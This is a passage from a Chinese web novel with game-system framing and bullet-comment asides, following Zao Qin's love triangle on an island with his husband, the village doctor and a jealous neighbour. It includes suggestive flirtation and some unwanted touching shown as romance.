尤其是很快,阮秋白盯着他通红的耳尖,忽然说了句:“听说昨天因为我不愿意陪你游泳,你跳海了。” “不是!”枣芩抬起脸,比海边鹅卵石更清透的眼睛满满的认真,粉润嘴唇一开一合,“我、是不小心的,没有因为你跳海,你别误会……” “哦?”阮秋白看着像不信。 “靠。”龙保岐没忍住出声,盯着阮秋白,他之前还觉得这人还行,眼下看还不是没抗住诱惑,都调戏起枣芩了。 阮秋石眼中透着疑惑,看了眼龙保岐。 “他是自己傻,而且不会游泳,小时候太矫情死活不愿意学游泳。大哥?不关你的事。” 一声大哥被他叫出了讥讽的意思,就差没直说少自作多情了。 阮秋白表情没变,“那看来是我想多了。” 纱布迟迟没包扎完,阮秋白放下包到一半的纱布,转身进去找了新药膏出来。 抬头对龙保岐说:“不知道你有没有听说过,在大陆上,医生进行治疗的时候,外人是在外面等候的。” 龙保岐话都没说,转身就直接出去了,门被他拍上。 好像谁稀得看着他们一样,枣芩那个样子,就想和那医生待在一块呢。 “包扎伤口这种,家属是可以待在里面的。”枣芩收回视线开口。 阮秋白笑问:“他是你家属吗?” 枣芩:…… 缠纱布也只是表面做样子,枣芩完全可以买药直接把伤口治好,但他怕被人发现。 他乌暗细密的睫毛颤着,耳尖红彤彤的颜色很漂亮,哪怕用颜料调出来,也没有这样勾人的感觉。 枣芩试着想弯弯膝盖,有点艰难。 他手上忽然被覆盖,枣芩一愣,是阮秋白握住了他的手,对方手上骨头很明显,还很凉。 “这衣服是你老公的?”阮秋白声音温和。 枣芩一时没反应过来“嗯”了声。 看了眼自己露着的整条胳膊,说:“对,衣服裤子都是。” 他直言不讳,突兀说:“好土。”?可恶,枣芩要怒了。 虽然是真的土,但也不能是别人来说。 他愤愤去看阮秋白。 男人倏的低头,靠近枣芩,面对面一错不错看他。 斯文脸上很淡定,用说“好土”别无二致的语气问:“要不要和我偷情。” 第29章 第 29 章 屁股都快露出来了…… 【泥……下键。】 【大哥?别太离谱了……】 【才第一次见面就要和我宝偷情?补药啊补药】??? 枣芩满脑子问号, 怀疑自己听错了,因为阮秋白的表情看起来很正经,和“偷情”这种字眼有种割裂感。 在枣芩呆滞住的时间, 阮秋白抓着他的手放在腹部, 隔着一层薄衬衫, 是和阮秋白的手截然不同的、灼热温度。 一层薄肌, 摸得到轮廓,并不像外表看起来那样只会讲道理的文化人。 “合格吗?”阮秋白轻声问。 白色纱布卷被他碰了下掉在地上, 枣芩只感觉自己的手被烫了下。 在男人淡淡说出那句“要不要摸摸别的地方”, 手同时往下带时,枣芩脑袋都要冒出烟来, 猛地抽回手,失声:“你!” 枣芩瞪着他,本来是想怼两句衣冠禽兽之类的话。 但系统兀自开口,给枣芩提了醒, 【玩家请保持人设。在人设基础上,你不会拒绝自己喜欢的人。】 【啊呃呃呃啊】枣芩想发疯, 【你看他符合人设吗!】 系统:【npc只需要做自己就好。】 【……】 枣芩嘴巴张张又闭上,脸蛋已经红得不行了,好久才艰难“噢。” “噢是什么意思?”阮秋白停顿,唇角勾起戏谑的弧度, “想跟我偷情的意思?” 别再说了! 枣芩羞恼点头, 赶紧敷衍过去。他带着自己可怜兮兮的伤腿,下了病床。 “第一次偷情这么快就要走了吗?”阮秋白弯腰捡起掉落的纱布,和药膏一起,全都放回医药箱盖好。 枣芩脚步笨拙,头也不回地走:“我老公还在家等我呢, 催得很紧,我没时间了。” “好吧,你先顾他,有时间来找我就行了,记得来换药。”阮秋白语气失望。 他看着枣芩露着半个背的宽大背心,拿起身旁一件亚麻色薄外套,披在枣芩裸露的圆润肩膀上,“盖一盖,再往下屁股快露出来了。” …… 神金! 枣芩迫不及待掀开帘子,紧紧咬着脆弱的唇,就差跳着走了。 阮秋白侧头,薄唇冷淡,眼镜下狭长双眼微眯,紧紧盯着窗外的身影。 热烈阳光下,两人站在阴影中。 枣芩皮肤被对比得像白玉,连城市都找不着这样的,村里却养得极好,没干过活的样子,不难猜出父母有多溺爱。 外面的两人在说什么,高个少年忽然佝腰蹲下,枣芩犹豫一会,爬上他的后背,被他的大手把着大腿肉,站起来颠了颠,枣芩细白胳膊搂住了少年的脖子。 好一对兄友弟恭的好兄弟。 · 回家的路上没有伞,枣芩被晒得眯起眼,干脆把阮秋白给他的外套盖在了他和龙保岐头上,又怕他看不清路,便用自己的手撑着衣服遮阳。 他眺望着海,心想着游泳的事情算是泡汤了。 龙保岐的速度比来时慢了很多,背着他慢悠悠的走,话也莫名多,“如果不是我妈让我把你送回去,我才懒的。” “嗯。”枣芩漫不经心应了声,他还能说什么。 难道要说,那你把我放下来我自己回去? 枣芩才不想自己走,这条路不远但也不近,他腿疼,回去该累死了。 龙保岐背他刚刚好。 龙保岐脚步停了下,本来就在外面等他们吃了一肚子酸气,此时更被枣芩的态度弄得恼火。 “呵、我看你今天很开心吧,跟你家阮医生待一起这么长时间,也不知道干什么。” 你家两个字重音。 枣芩开心什么,他看到阮秋白慌还来不及,他噘嘴,“才没有,你阴阳怪气什么啊?” 龙保岐凶着脸,回头去看他,枣芩的脸在衣服阴影下,依旧惹眼,“我阴阳怪气?你就欺负我吧。” 枣芩纳闷的歪头,“我什么时候欺负你了啊?” “跟别人说话又乖又老实,跟我说话就像吃了枪药。” 龙保岐吓唬他手松了秒,枣芩下意识夹住他的腰,他又赶紧捧住,“也不想背你了。” “……明明是你自己蹲下要背我的。”枣芩无语了。 龙保岐:“我背你你就上来?那我现在要打你屁股你让不让?”? 枣芩:“当然不行!” “阮秋白打你肯定行吧。” 又在说什么。枣芩满脑子问号,他才像吃枪药了吧。 龙保岐边走开始喋喋不休开始污蔑人,说得很夸张。 “没上过学的文盲才会喜欢阮秋白那种,不识货,男人就应该找身体好的,我看他那个样子,怕是连他老婆都抱不动吧,说不定他、算了。” 枣芩没反应过来,他说这么一通是什么意思,探着脑袋,“你别这么说,他看着是瘦,但是有腹肌的,不至于抱不动老婆,而且、” 而且他也不配有老婆,他都跟有夫之夫偷情了。 话一出口,周身静得只能听到远处海浪的声音,一波又一波。 搂着大腿的手一松,枣芩滑下来,在衣服阴影里,有点茫然看他。 龙保岐薄薄的单眼皮扯出一个呆滞的形状,他停顿好一会,才灼灼逼问:“你怎么知道的?” “……”枣芩舔舔唇,抬眼小声说:“我猜的。” 龙保岐眼中的怀疑一点没被打消,反而笃定了。 仿佛吃了激素长大的男生身体条件优越,一条胳膊圈着枣芩的腰,直接提起人就朝着他家门走。 枣芩头顶的衣服盖住视线,他惊呼:“哥,真是猜的。” 龙保岐气血上涌,几步就到了门口,脸红脖子粗,“叫哥也没用!我今天就把你跟阮秋白做的事情都告诉宋哥。” 气得好像是自己这个当弟的被出轨了。 枣芩把头上的衣服扯下来,发丝凌乱,小脸泛白。 他不知道可不可以被宋平知道。而且他也才答应,没有做过任何越轨的事情呐…… 闭着的门被龙保岐踢开,他刚要说什么,半张着嘴,满眼惊愕。 身形高大的宋平正站在门内,目光沉静注视着他们。 枣芩抱紧怀里的衣服。 宋平走上前来,看起来面色如常,好像没有听到龙保岐刚刚说的话,“放下你嫂子吧。” 仿佛烫手山芋,龙保岐忙松开桎梏枣芩细腰的手。 对上宋平他有种暗戳戳的心虚,他解释,“是因为他腿受伤了,走不了才这样的。” “我知道,刚刚你妈来了。”宋平看到枣芩被裤子遮盖的腿,还隐隐透出一点白纱布,眉头才拧起。 枣芩想远离尴尬的气氛,一瘸一拐跨进门,宋平适时伸出自己的手,握住了枣芩的手。 “早点回去,你妈在等你。”宋平说完,随手关上门。 最后门缝的那个眼神,仅仅转瞬即逝,是龙保岐从未在他眼中看到过的阴冷的敌意。 宋平搀扶着枣芩坐回炕上,撩起他的裤腿,露出包扎好的白纱布,他的腿上骨肉匀称。 只是看了看,宋平什么也没问,好像没听到。又好像知道了,但不敢问。 枣芩躺在炕上被迫午休,宋平说他要去洗衣服,就把那件外套带走了。 枣芩没一会就听到那边门被推开,枣芩忽然反应过来他说洗衣服是洗自己的衣服。 他半天没睡意,忍不住起来去看,就见宋平大高个站在院子中,沉默看着手中的一块布料。 枣芩问:“怎么了?” 走过去看。 赫然是他昨天想着今天要洗的衣服,盆中还有阮秋白给他的外套,此时都已经被洗得零零碎碎,成了再也穿不了的破布。 …… 枣芩要怀疑对方把衣服当作他洗了,睫毛颤颤飞快眨动。 “对不起,给你洗坏了。” 搓衣服的时候没忍住在想事情,反应过来的时候,他已经把枣芩的衣服都洗坏了。 · 一直到夜里,躺在炕上。 枣芩侧睡背对着宋平,以为事情就这么过去了。 身后却忽然传来钝钝的声音,在夜晚安静的屋内很清晰。 “早上去饭馆买饭,回来的时候你已经不在了。知道你去他们家了,我就在家等你。” “等了很久我去找你,碰到了我姨,她说你腿摔了,已经去阮大夫那里了,让我不要去打扰,在家乖乖等着你,我很想去也没去。” “其实在门口我也听到了,听到表弟说,你和阮大夫做了什么……我现在也不知道咋办,也不知道你们做了什么。” 明明知道阮秋白是枣芩喜欢的人,枣芩也是他名正言顺的老婆,可因为之前的互不相干,此时居然也没有立场说什么。 只能说点丈夫身份的酸话。 枣芩知道他什么意思,绷着嗓音道:“没有啊,什么也没有做,他瞎说的。” “嗯。”男人声音低低沉沉,“我们是正经结婚,我们死了要埋一起的。” 枣芩哽住,谁大半夜讲这个。 宋平今夜的话比起前一晚多得离谱,他计划着,“过几天,陆地要来游客,还要去那边送货。到时候给你买新衣服好不好?什么都买新的。” 枣芩感觉他的身体靠近自己一段距离,小声“嗯。” 宋平停顿着,良久才说了句:“我们结婚很久了。” 枣芩有种不好的预感,身体发僵,思绪乱飘。 “我今天没有怀疑你,也没有乱问。”他像只忠诚的大狗,在听了主人的指令后索要奖励,“你愿意……” 又不说了。 枣芩心脏砰砰跳,情绪起起伏伏,不太愿意。 但还是问,“你想怎么样?” …… 男人呼吸微促,“想牵手。” 枣芩:?就这 他长松了口气,转向宋平的方向,伸出手,“那你牵吧。” 手被轻轻包住,热度传达过来。枣芩听到他粗重的呼吸声。 宋平心跳很快,他轻轻捏了捏,枣芩的手凉凉的,皮肤很嫩,他简直怕自己把他摸伤。 宋平摸到腕骨就不敢再往上摸了,哪怕枣芩并没什么抗拒动作。 “老婆,你手好小。” “你朝我这边,身上很香。” “老婆你能不能朝我这边睡?我能牵多久?” 隔一会说一句,烦人得很。 枣芩脸上火烧,威胁他,“你再说话就不让牵了!” 宋平立即闭上嘴,只安静牵着他,黑夜中异常清醒亢奋。 一直到枣芩就那么睡去,也没松开。 宋平之前不知道,原来有老婆是这么一件令人开心的事,还能牵他手。 他凑近闻了闻,想找出枣芩身上的香味从何而来,嘴巴嗅了,柔软的肚子也嗅了。 最后确认,一定是从骨头散出来的。 第二天枣芩是被人吵醒的,有人哐哐敲门,宋平也不在。 他起来迷迷糊糊去开门,一张焦急的中年男人的脸映入眼帘,冲着他喊,“你家宋平海上出事故了!人快不行了!” 枣芩瞬间清醒,愣在原地。 第30章 第 30 章 胆子挺大啊 【刚有老婆就死了, 很惨的小哥哥一枚吖】 【死了好啊死了好,寡妇芩芩香香】 死了? 太突然了。 昨天晚上宋平还和他规划着要去城里给他买衣服,接游客。他还怀疑游客会不会是玩家, 可只是一睁眼, 宋平人就要没了。 枣芩扯了件宋平的衣服套上, 快步跟着急匆匆的中年男人去到海边。 很多人围成圈, 挤的看不到中间是什么。枣芩耳朵嗡嗡响,只能听到岛民嘈杂的声音, 混在一起, 听不清具体在说什么。 他早知道宋平会死,这是任务的必要条件。但相处这么几天下来, 其实他已经不再是一个单纯的符号了。 突然死去,枣芩不可避免的晃了神。 中年男人往人群中挤,扯着嗓门喊了声:“宋平他老婆来了!让开让开。” 人群外围分开一条小道,他们都回过头来看枣芩。在众人的注视下, 枣芩犹豫迈开步子,从小道中进去。 还没看到里面的情景, 首先就闻到了浓重的腥味,以及几声遏制不住的惊呼和议论。 最后一圈人分开,枣芩看到的就是,被说不行了的男人, 正躬着有力的腰身, 黝黑健壮的手臂摆弄着两大箱子的鱼,一点看不出来快不行的迹象。 他身旁还有几个渔民,宋平站起身说:“这两箱送给你们,感谢帮我拉船回来。” 几个渔民明显惊讶起来,“这么多?都给我们?” “没事, 我船舱还有十来箱,等会拉去陆地上。”宋平若无其事说完这句,几人沉默了。 枣芩在人群站着,被挤到最前面,他太过显眼,皮肤雪白、浓纤合度。 宋平余光一掠,就发觉了他,神色怔住。 枣芩这才看到他另一边额头的血,流到了下颌,但此时已经凝固。 确实受伤了,但哪里到不行的地步啊? 宋平立即丢下手头的事,几步走过来,胸口莫名麻痒,“你怎么过来了,今天醒得好早。” 周围人的注意力都在他们身上,还有人凑着耳朵低声说什么。 枣芩嘴唇抿着,也不说话。 宋平敛了视线,抬头对着人群,“我也没事儿,大家都散了吧,都快回去吧。” 要不他老婆话都说不出来了。 直到人断断续续走了一大半,枣芩才说:“我是被人叫醒的,他说你出事了……怎么回事啊?” “没事。”宋平嘴角翘起一点,心里舒坦地说。 他身上散发的鱼腥气让枣芩不受控制的皱了一下鼻子。 他自己也能闻得到,不想让味道沾染到枣芩身上,后退半步说:“在海上的时候发动机突然出故障了,就让他们帮忙把船拉回来了,回来的时候不小心撞头了,不严重。” “噢,这样啊。”枣芩走过去看了眼,银色的鱼鳞闪闪,满满两大箱。 不过是应该感谢别人,不然船在海上就很难回来了。 “今天下午我就去陆地,把这些鱼送过去,然后给你带礼物回来。”宋平声音低低的,因为还有人在,他不想让别人知道他们在说什么。 语气中带着一种邀功的意思。 枣芩顿了顿,视线落到他额头的血渍,犹犹豫豫问出口:“就不能明天吗?” 宋平立马说:“好,我明天去。” 也不问一句为什么。 “回去帮你处理一下伤口,流了很多血。”枣芩因为他小声说话,也跟着小声说话。 宋莲莲是在这时候才来的,她“哎呀”了好几声,惊愕到有点夸张,催促着两人快点去找医生。 “你们是不知道现在的,有的人被钉子划伤了就死掉了,必须得去看医生才保险!” 宋平:“小姨,我没事。” 他比较想让枣芩帮他处理。 “不行不行,你这样我怎么跟你妈交代?快点去,和小枣一起去阮医生那里。” “啊?”枣芩愣住,脸上红红白白。 他光是想想宋平和阮秋白那种人共处一室,额头就直冒汗。 直到看着宋平坐在昨天自己坐过的病床上,他都没完全缓过来,呆呆站在宋平背后,抬头对上那张斯文的脸,以及眼镜下斜睨的眼神。 宋平额头的伤口并不严重但也出了不少血,阮秋白简单检查了下,平静无波,“没什么大问题就是磕了。” 阮秋白走近内间,站在门口回头,“家属过来拿一下东西。” 枣芩没反应过来。阮秋白又叫了声“家属?” 枣芩短促发出点声音,看过去对上对方的眼神,才反应过来是他自己,赶紧跟过去。 一进门,就是靠在柜子上,双臂环胸,好像要质问他什么的阮秋白。 “……”枣芩被他看的心虚,“让我拿什么?” 下巴尖忽的被阮秋白捏住,拇指轻轻按揉细嫩的皮肤。他视线朝下,注视着枣芩微张的粉唇,鼻腔都萦绕着他香喷喷的气息。 阮秋白呼吸重了点,压低声音,“胆子挺大啊。” 枣芩因为心脏紧绷而没忍住舔舔唇,嫩红舌尖出现一瞬又收回,他漂亮的小脸露出呆滞表情,“什么?” “让正宫跟小三共处一室,也不怕出问题?”阮秋白指尖忽的发烫。 “没有!是他受伤了,岛上只有你一个医生啊……”枣芩嘴唇一张一合的说话,没注意对面人已经神游天外了。 阮秋白忽然松开他的下巴,转身打开柜子找出医疗箱,敷衍至极,把一卷胶带放到枣芩手中,“走吧。” 进来仅仅是为了让他拿一卷胶带,宋平只要脑子正常就不会信的。 然而事实就是,宋平什么也没说,只看了眼他手中的胶带。 弹幕飞快滚动。 【这是在干什么?差点以为芩芩老公还在外面,某人就忍不住办了……】 【知道自己是小三就安分守己,你这个小三胆子真big!】 【3//pntr?】 【不可以,我宝宝小嘴吃不下呀,他那么小,必须要纯爱】 暗红色的碘伏喷洒在额头,枣芩一脸认真地看着,腰后一只大手搭在上面,当着他丈夫的面,在他腰上轻轻的揉弄。 枣芩脊背一颤,电流瞬间从尾椎骨蔓延至全身。他又慌又羞瞪向阮秋白。 对方视线透着疑惑,“怎么了病人家属?一直看着我。” 可是身后对方手的动作一点都没停下。 枣芩也没法说出去,他小动物遇到危险似的,寻找让他有安全感的人。 他赶紧站到宋平可以看得到的地方。 宋平问他:“怎么了?老婆。” 几乎没有叫过他这个称呼,却忽然叫出来。 枣芩没有发觉不对劲,压下心底的气恼,指桑骂槐,“感觉有臭苍蝇在我身上飞来飞去。” 宋平顿了秒,嗅嗅自己身上的味道,又去了眼周围:“到老公这边来,没有苍蝇。” 枣芩坐在宋平身旁,被他的手紧密包裹其中,肤色形状都对比明显。 阮秋白只短暂看了一秒,唇角扯出一个不屑的弧度。 正宫和小三就是不一样,枣芩乖的那个样子,跟只小猫似的。 那个宋平语气很恶心,对着枣芩,“老婆,昨天把你带回来的衣服弄坏了,你生气了吗?” 枣芩小表情空了秒,偷偷瞥了眼阮秋白,才说,“没有生气。” 阮秋白有点想笑了,真是般配,好一对情真意切的有情人。 只可惜了他那件衣服。 直到包扎完临走时,枣芩不忘回头凶巴巴瞪他一眼,用口型说:“坏苍蝇。” 阮秋白舌尖尝到点腥气,他忽然很想咬枣芩的脸蛋一口。 枣芩浑身软绵绵趴在宋平背上,下巴放在他肩膀,看着他额头上的纱布,又看看自己腿上的纱布,“我们两个好倒霉哦,都负伤了。” “夫妻整整齐齐?”宋平大手搂紧枣芩的腿,腿肉都在他手心。 枣芩的腿有肉,还软,但骨头架子天生小,背起来没什么重量。 两人刚走到自家门口,就看到一个高大的年轻身影,在门口紧皱着眉头踱步,想要进去又没进去。 “那不是小龙吗?”枣芩在宋平耳边说话,轻柔的呼吸都散落在他的耳廓,黝黑的肤色勉强遮盖泛起的红。 龙保岐也发现了他们,表情僵硬了瞬,又恢复正常,挠了挠头发。 宋平背着自己老婆过去,而在昨天,这么做的人还是对方。 他依旧是一个大哥的姿态,问:“小龙,你怎么来了?” 龙保岐视线落在他的额头,语气比起之前多了几分疏离,“听说你受伤了,只有额头上这个吗?” …… 这话说的,好像别人还应该再多点伤似的。 他自己也发觉自己说的话不对劲,找补一句:“没受伤就好,我就过来看看。” 说罢,人高腿长,几步就从他们身侧走过。 枣芩满头雾水。 宋平好像天生有那个劳苦命,怎么样都闲不下来,回家把他自己洗干净,又给枣芩煮水洗澡。 枣芩半天没有吃饭,顶着一头湿发,肚子咕咕的叫,一看时间连十二点都不到。 宋平去给他做了饺子吃,枣芩自己也包了两个,就是包得奇形怪状,等煮出来两个都烂了,全进了宋平的肚子。 他还一脸的正经的表扬,“这两个好吃。” 枣芩本想着该休息了,睡个午觉吧。 结果这人开始翻找东西,又要出门去了。 枣芩白胳膊白腿在炕上张望着脑袋看他,跟水里捞出来的玉似的,又烦又急问:“你又要去哪?” 宋平心瞬间就软成一团,化成水,“去你家老房子,那边还有一个发动机,我过会儿去把它换了。” 老房子? 枣芩不想放过任何一个线索,举起手,“我也去。” 他立马下炕开始穿鞋。 宋平拿出伞等他过来,撑在枣芩头顶,自己大半个身子在太阳底下也无所谓,没什么感觉。 枣芩家老房子离得很远,几乎是在岛的另一端。 没走一会,刚过龙保岐家,他都累得腿软,开始喘息,而他身旁的宋平好像一点事都没有。 枣芩实在没忍住,真的不想走路了,试探说:“嗯…我好累啊。” 自以为很隐蔽的眼神偷偷瞄宋平。 宋平喉结滑动,一直盯着他看,此时问:“要背吗?你的腿毕竟受伤了。” 其实已经被系统治好了,但宋平又不知道。 枣芩眼睛立马亮了,“要!” 老房子灰尘遍布,太长时间没住人,一股老旧气息,大热天进去周身都冷森森的。 宋平去找发动机,枣芩就闲庭信步在“自己”家里,溜达起来。 他家一共是四间屋。 只有两间有炕,一间是他父母的,而另一间应该是枣芩和他那个已经不在了的哥哥的。 系统介绍时,曾经说过,他从小受尽家中宠爱,在哥哥离开后,父母也相继离去。 父母那间有个挂在墙上的大相框,里面有很多张小相片。 其他的所有都没有一个看起来像他哥哥的人,只有一张,是一家四口的照片,也是唯一有他哥哥的一张。 就站在枣芩身旁。 个子比照片中的枣芩高一块,黑色额发将眼神遮了个七七八八,薄唇冷淡,浑身散发着中阴沉沉的气息。 “老婆?”两个字喊得有点虚,还没叫熟。 宋平扛着大发动机走进来,见枣芩正微仰着头,专注看着一张照片。 他几步过去,也朝着枣芩视线的地方看过去,枣芩在看枣聿,不对,现在应该叫李聿。 其实宋平应该谢谢李聿,如果不是他,自己也不会和枣芩结婚。 李聿是枣芩父母怀着枣芩的时候捡来的小乞丐,岛上大家都知道,毕竟凭空来个几岁的孩子根本瞒不住。枣芩父母也没打算瞒。 他们干什么都明明白白,说的做的都是。 李聿就是为了枣芩而存在的,枣芩的保护者、枣芩的未婚夫。 总之,他身份的前缀总是枣芩。 大家不知道李聿怎么想的,但想来他应该是不愿意的。不然也不会还没成年就独自离岛,再也没有回来。 枣芩的保护者没了,老两口实在放心不下,才把枣芩托付给了宋平。 宋平现在觉得,他们很明智。 他和枣芩大概天生注定的一对,上天才会让李聿快点离开。 但上天有时候也会出错,明明应该这辈子不回来的人,却突然要回来了。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 30-40 第31章 第 31 章 让不让我进去 清冷晨光照进来, 枣芩意识还模糊,白生生的手臂放在头顶的枕头上,半梦半醒中感觉有人俯身在他身侧, 低头跟他说话。 “老婆, 我要去陆地上了, 你醒来饿了就去饭馆吃饭, 我已经在那里存钱了,嗯?”他声音压得很低。 枣芩半睁着眼睛, 开条缝还被细密睫毛挡着。 伸懒腰对着他伸起胳膊, 手一软,搭在了他脖子上, 像是在拥抱。他人还没醒,声音带着浓重的睡意,软得不像话,“嗯……” ——毫不夸张的说, 宋平因为他一个音节而后背发麻。 大手摸上他的皮肤细嫩的脸颊肉,拇指轻轻抚摸他的唇角。 “说不定你吃完饭我就回来了。”他说着, 枣芩好像又睡了过去,胳膊还勾着他的脖子。 宋平喉结滚动,目光沉沉,想要一个临走前的吻。光是想着, 他呼吸都急促起来。 身下的人是他老婆, 闭着眼睛很漂亮很乖的躺着,他亲一下没什么的、理所应当的、早该的,可是心跳就是又快又响。 最终这个吻落在了修长紧致的脖颈上,睡着的枣芩无意识的扬起脖子,像是在方便他做点什么。 他胸腔发颤, 闭上眼,缓缓伸出舌头舔舐那一小块皮肤,嘬了几口。 他的这个吻,时间过于长了。 枣芩被弄得再次睁开点眼睛,男人手指蜷起,忙中断自己的动作。 枣芩把胳膊收回去,他像是没意识到自己刚刚又睡了,接着刚才的对话,含糊说了句:“你注意安全。” “好。”他口吻是与外表不符的温柔,轻飘飘怕把枣芩吵醒。 宋平被一种名为幸福的物质,充盈了浑身的每一个毛孔。 这种感觉让生活中原本的无趣寡淡,都变得美好愉悦,充满动力。 想快点去,快点回。 因为家里有人在等着他。 枣芩醒来在床上呆坐,目光怔怔没有焦点,半天才把迷迷糊糊之间听到的话与现实联系在一起。 他不吃早饭,中午才打着那把蓝色的医院赠品伞去了饭馆。 路上的阳光不算热烈。还没进入饭馆就听到了插科打诨的笑声,原来天热的时候大家都聚集在这里。 这个饭馆也是岛上唯一的旅馆,是个四四方方的古色古香的院子,里面有很多间卧室,岛上来了游客都住这里。 枣芩进去找了个角落位置坐,很快就有老板来问他:“来啦,和之前的一样?” 枣芩不知道之前吃的是什么,在陌生热闹的环境里,紧张的并着自己的膝盖,手放在桌子上。 对着老板点头“嗯!” 枣芩坐着等,察觉有人在看他,望过去。 坐在一起聊天的人群中,有一个站着的白色身影鹤立鸡群,身姿挺拔,高高瘦瘦,戴着个银框眼镜。 见枣芩终于发现了自己,他露出一个笑容,眉毛轻挑…… 枣芩回避他的视线,侧过头眼睛不敢置信的瞪圆。 这人怎么在这? 枣芩不时偷瞥他一眼,对方已经不在看他了。 阮秋白微笑着点头应和别人的话,是那种老一辈很喜欢的温润形象,但这里只有枣芩知道他其实是个人面兽心的变态。 端上来的是一盘鲅鱼饺子,以及一小碟醋。老板知道他的饭量,给他端上来的并不多。 枣芩火急火燎吃完,拿纸巾擦擦嘴唇,连味道都没品出来,只填饱了肚子,身上因吃饭出了一层薄薄的汗,浑身热热的。 他拿起伞,小脸皱着离开。 “系统,要是他不在我就慢慢吃了……” 【就是就是,可恶的小三哥为什么无处不在】 【还一直偷看宝宝呢,色眯眯的】 【我去,后面是小三哥在尾随吗?】 【额,他不会要趁着芩芩……家里没人……想做什么吧……】 枣芩没看弹幕,一开始并没有发现,直到走了大半快到家了,才察觉到身后有人跟着。 扭头就见阮秋白正不远不近跟在他回家的路上。 枣芩吓得咬住唇,脚步加快,几乎抱着伞,小跑回了家。 他一进大门立马要关门反锁,门外面却被一只骨节分明的大手拉住,木门缝中对上一双淡漠的铅灰色的眼睛,似蛇。 枣芩胸脯起伏,忙不迭喊:“你别进来!” 阮秋白没有一点当小三的自觉,甚至对他笑,“你老公不在都不让我进来?” “……” “当你的情夫,怎么还不如没当上的待遇?” 对,这人是他的情夫,他现在却表现的像防贼,可系统并没说他崩人设。 枣芩的力气略微泄了些,其实阮秋白如果想拉开,他的力气当然比枣芩大,但他的目的不是这扇门。 男人轻轻拉动,木门被打开,阮秋白抬脚跨进来,打量起这个贫瘠小院。 枣芩闷闷不乐,不正眼看他,一副不想让他进来的样子。转身回了屋子里。 阮秋白关上门,跟在他身后,只见枣芩自顾自端起水杯喝水,抬头仰着脖颈,不甚明显的喉结滑动。 再往上一点,白皙上面印着一小块暧昧的红印子。 阮秋白没有过经验,也不是全然不懂,他眉头轻蹙,来到枣芩身前,冷着张脸,拇指碾上去。 “咳咳——”枣芩被吓得呛住,手死死按着胸口,脸上发着红,眼睛闪烁水光,“你又干什么啊!” 阮秋白上下打量他,“你脖子上的东西,是蚊子咬的吗?” 枣芩摸上自己的脖子,没搞懂什么意思,只当自己脖子上被蚊子咬了口,顶了他句,“嗯,不然呢?” “那蚊子有一米九?”阮秋白嗤笑出声,轻轻碾磨着那一块皮肤,边缘很快泛起粉,细嫩脆弱。 或许都没有太用力,只是轻轻的吸吮就留下了痕迹。 枣芩被弄得不舒服,再加上对方轻浮的动作,扭过脖子,避开了他的手。 他站得累,来到炕上坐着,没好气问:“你还不走啊?要是被别人发现了我们扭曲的关系,别人怎么看我们。” “扭曲?”阮秋白不带情绪的轻笑,他扫视一眼炕上的两个枕头。 慢悠悠开口“也不知道是谁,委委屈屈说自己很孤独,觉得自己像个寡夫。 还说,你丈夫不愿意跟你一起睡……不愿意摸你,不愿意亲你。你很想要,才来找我。” 大部分完全是在杜撰,但枣芩不知道,听着露骨的话,瞬间红了脸。 “现在看着,你们不仅睡在一起,你丈夫还给你脖子留下这么明显的痕迹,晚上都不知道怎么弄你。明明怎么看,也不是个寡夫样子。” 他口吻淡淡,却怎么也藏不住底下的戏弄,以及一点自己都没察觉的愤恼。 “……”枣芩别过脸,垂着眼睛,指头尴尬的紧紧蜷缩,泛起点红。 阮秋白:“原来都是骗我的,只是为了骗我这个处男的真心,想让我为你焦灼难受,枣芩。” 哪怕不是枣芩干的,可被这么说,嘴唇还是哆嗦起来,他没忍住打断阮秋白还要继续说下去的话:“没,我没想骗你的心。” 看介绍里,自己也确实喜欢的,喜欢他的学历和气质也是喜欢他的一部分啊。 “那是真心的?喜欢我?”阮秋白蓦然瞳孔缩了缩,表情依旧淡定。 枣芩点点头,思索说:“是真心的,我不是骗子。” 阮秋白走近他两步,避开了枣芩的视线。 他喉咙发干,“你喜欢我,还让别的男人亲你,不是出轨吗?” “啊?”枣芩一下因为太不敢置信抬起眼,眼睛眨巴眨巴,又问:“你说什么?” “你出轨。” 枣芩傻了,问系统:【他脑子出问题了吗?】 系统仿佛叹了口气,【今天早上宋平亲了你的脖子,留下了痕迹。】 枣芩舔舔干涩的唇,摸了下脖子,后知后觉小声说:“可是他是我老公啊,我们结婚了的。” 阮秋白:“可是你喜欢我。” 枣芩无言以对,板着小脸。 都别说话,他在思考。 【傻了,这下我真傻了】 【倒反天罡】 【你还被出轨上了,哥们,把你那涩情的眼神挪开,别以为我不知道你在脑补我宝!】 【宋平:这是我的词啊!!】 冷淡气息逼近,他站在枣芩身前,身子微弯,手撑在炕边,两人之间的距离极度危险。 在枣芩慌乱下想往后仰时,他一只手按住枣芩窄瘦的后腰,感受着底下的柔软皮肉,鼻尖抵上枣芩颤抖的脖颈。 枣芩身体的味道朝他鼻腔冒。 他心绪空了秒,声音低哑,“那现在你的爱人,把别人留给你的吻痕盖掉好不好?” 枣芩意识到阮秋白真的要对他做什么了,呼吸变调,手急忙推他的胸口,“让开,我老公要回来了,他、他是打小三的。” 枣芩话语刚落下,外面的木门就被节奏混乱的敲响,他瞳孔瞬间放大。 他的嘴巴这么灵! 阮秋白身上气息躁闷,不耐烦回头看了眼,透着玻璃看得到木门被敲得摇晃,仿佛下秒就要倒了。 “枣芩,你知道你在家!”是龙保岐的声音,清清朗朗跟夏天海水似的年轻人腔调。 枣芩松了口气,脚去踢阮秋白的小腿,此时外面站了人,他不信阮秋白敢接着欺负他。 他一下不得了的嚣张起来,“你走开,不然他推门进来了,要是被发现了,你就真的完蛋了,你这个外面来的,是要被逐出去的。” 仿佛没有被满足,阮秋白动作迟缓让开,靠在炕边。 枣芩小跑到门口,不忘回头嘱咐,“你快躲起来。” 阮秋白:…… “我马上来了。”枣芩对外面喊着,一脸严肃的挥手,让他快点躲起来,自己则慢悠悠走过去。 真的像在藏小三。 门慢慢开了条缝。 一张雪白昳丽的小脸忽的闯入视线。 他微抬头看人,脸上隐隐带着心虚,“你来干什么?” 龙保岐涨着脸,看到枣芩,年轻男生的肌肉瞬间紧绷,他举起西瓜,“这么不待见我,我送的西瓜你也不要了?” 红艳艳看着就很甜的西瓜出现在眼前,口中自动开始分泌唾液。 枣芩忙说:“要!” 大热天的,刚刚吃了饭,只喝点水根本不够。现在正好有西瓜送上门来,笨蛋才不要。 门又被开了点,枣芩两只白胳膊伸出来,摊开手。? 